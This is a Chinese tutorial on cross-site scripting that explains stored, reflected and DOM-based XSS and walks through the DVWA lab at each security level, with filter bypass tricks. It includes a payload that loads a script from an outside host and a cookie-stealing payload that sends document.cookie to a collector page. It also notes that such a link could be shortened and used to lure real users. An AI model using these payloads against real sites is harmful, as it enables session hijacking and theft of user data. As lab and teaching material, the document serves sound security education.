XSS
什么是 XSS:
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。XSS的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。
XSS的分类
根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。
1 | |类型|存储区|插入点|: |
存储区:恶意代码存放的位置。
插入点:由谁取得恶意代码,并插入到网页上。
储存型XSS
存储型 XSS 的攻击步骤:
1.攻击者将恶意代码提交到目标网站的数据库中。(储存区)
2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。(插入点)
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
5.这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
1 | //前端:2.html |
反射型XSS
反射型 XSS 的攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。(储存区)
2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。(插入点)
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
1 | http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>" 或者 http://localhost/test.php?param=<script>alert(/xss/)</script> |
注意:
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
1 | //前端 1.html: |
DOM型XSS
DOM 型 XSS 的攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。
2.用户打开带有恶意代码的 URL。
3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
注意:
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
1 | ---------------------------------- |
XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替
1 | <script>标签:<script>标签是最直接的XSS有效载荷, 脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中 |
DVWA:Reflected Cross Site Scripting
Low
源码:
1 | <?php |
(1)array_key_exists检查数组中是否有指定的键名
(2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用);0禁用XSS保护
可以看出本关并没有做任何防御措施,所以我们尝试注入
1 | <script>alert(document.cookie)</script>弹出COOKIE |
可是当我们进行实战时是无法在目标电脑上这样操作的;这里我使用另外一种方法来获取cookie
1.编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下。
1 | 获取get传入的cookie参数。 |
2.接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中
1 | 1)<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie;</script> |
3.因为要将构造的要对上面的编写的JS代码进行URL转码:
1 | http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E# |
解析:
(1)http://localhost/DVWA-master/vulnerabilities/xss_r/?name=
解析:是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。
(2)%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#
解析:对
1 | <script>document.location="http://localhost/cookie.php?cookie="+document.cookie;</script> |
进行url编码
注:在实际中我们可以将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中。(有点类似于CSRF,但是C
SRF是利用用户的cookie,但是XSS是直接盗取用户的cookie)
Medium
1 | <?php |
由源码可知后台对我们的script做了一个过滤;我们需要绕过这个过滤机制
方法一:大小写绕过SCRIpt
方法二:双写绕过scrscriptript
方法三:使用非script标签
补充:当alter被过滤的时候可以将alter进行unicode编码;例如
1 | <script>eval(\u0061\u006c\u0065\u0072\u0074("wann") )</script> |
High
1 | 核心源码: |
- 代表一个或多个任意字符,i 代表不区分大小写。所以此标签在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
Impossible
1 | 核心源码: |
htmlspecialchars(string):
把预定义的字符:”<”(小于)、 “>”(大于)、& 、 ‘’ 、 “” 转换为HTML实体,防止浏览器将其作为HTML元素。
DVWA:Stored Cross Site Scripting
Low
trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义
以上的过滤是针对预防SQL注入的,对咱们的XSS并没有采取任何防御。
此时我们在注入的时候突然发现在NAME那里似乎有长度限制,我们无法将脚本注入,此时我们对这个限制输入长度进行修改
查看源码发现我们的恶意脚本已经插入;而因为我们的恶意脚本已经是被插入后台,所以,每当后台查寻我们的id时总会带着这个恶意脚本,所以储存型XSS又叫持久型XSS,当我们随便输入一个name时,后台也还是会把我们之前注入的恶意脚本弹出。
当然如果不进行修改长度的话本题也可以使用bp进行拦截,然后直接在bp里面修改我们的payload然后直接进行防包的话也是可以成功的。
Medium
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用b标签。
addslasses()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了script标签,仍然存在存储型的XSS。
方法一:大写绕过/大小写绕过
方法二:双写绕过
方法三:更换其他标签
High
此题的过滤对message进行了非常严格的过滤;所以我们把攻击点放到了name进行攻击,此时的过滤机制是对script标签进行了一个大小写匹配和无限次的匹配,所以此时我们的script的标签无法使用,但是我们可以使用其他的标签进行一个绕过
Impossile
此时是先对我们的token进行了一个检查,防止我们使用CSRF进行一个跨站请求伪造,进行一个利用cookie进行恶意操作;接下来使用trim()函数移除了字符串两侧的恶意字符,接着删除$message里面的反斜杠,防止SQL注入;接着进行一个数据库查询,然后利用htmlspecialchars( $message )使我们的脚本标签无法使用;做到了全面防御接下来对$name的过滤也是一样
;使我们无法注入恶意脚本进行攻击。
DVWA:DOM Based Cross Site Scripting
HTMLDOM是关于如何获取、修改、添加或删除HTML元素的标准简单来说DOM主要研究的是节点,所有节点可通过javascript访问(增,删,改,查)
可能触发DOM型XSS属性:本实验中主要用到的就是document.write属性
document.write属性
document.referer属性
innerHTML属性
windows.name属性
location属性
Low
在我查看源码时发现并没有源码,我便点击F12果然发现了点不一样的东西
1 | if (document.location.href.indexOf("default=") >= 0) { |
#document.location.href.indexOf()函数截取url中指定参数后面的内容
#document.location.href.substring()函数截取字符串
#decodeURI()函数将编码过的URI进行解码
#docunment.write()可以将HTML表达式或JavaScript代码
可以看出本关并没有任何的防御措施,所以直接注入
1 | <script>alert(document.cookie)</script> |
即可获取cookie
Medium
我们知道后台通过查询$default中script标签的位置,若是查询到了该标签的位置,则强行把English赋值赋给$default
这相当于对script标签做了一个过滤,所以我们需要做的就是绕过改机制,还是老方法,大写/大小写绕过;双写绕过;换
另外的标签进行绕过;嗯此时发现不行,嗯失效了,很尴尬,老方法行不通了;对比了了一下LOW级别的发现确实没有插入成功
网上查了一下发现stripos()函数的查找是不缺分大小写的
当我换了另外一种标签时
1 | <img src=1 οnerrοr=alert('document.cookie')>发现img标签还是没能插入 |
补充知识点:
由于select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS
所以我们需要闭合两个标签才可以使我们的img标签逃逸出来此时发现已经成功插入了首先闭合了option标签 和select标签利用 img标签的onerror事件javascript,img标签支持onerror事件,在加载图像的过程中如果发生了错误,就会触发onerror事件执行 JavaScript
High
采用白名单方式判断default的值。如果不是French,English,German,Spanish四者之一。则利用header()函数将default的值改为English再发送http请求。
绕过:需要一种方法在本地运行你的JS代码而无需经过服务器端的处理。这里提供的一种方法就是,应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。
我的理解就是:URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
payload:
1 | Engliah#<script>alert(document.cookie)</script> |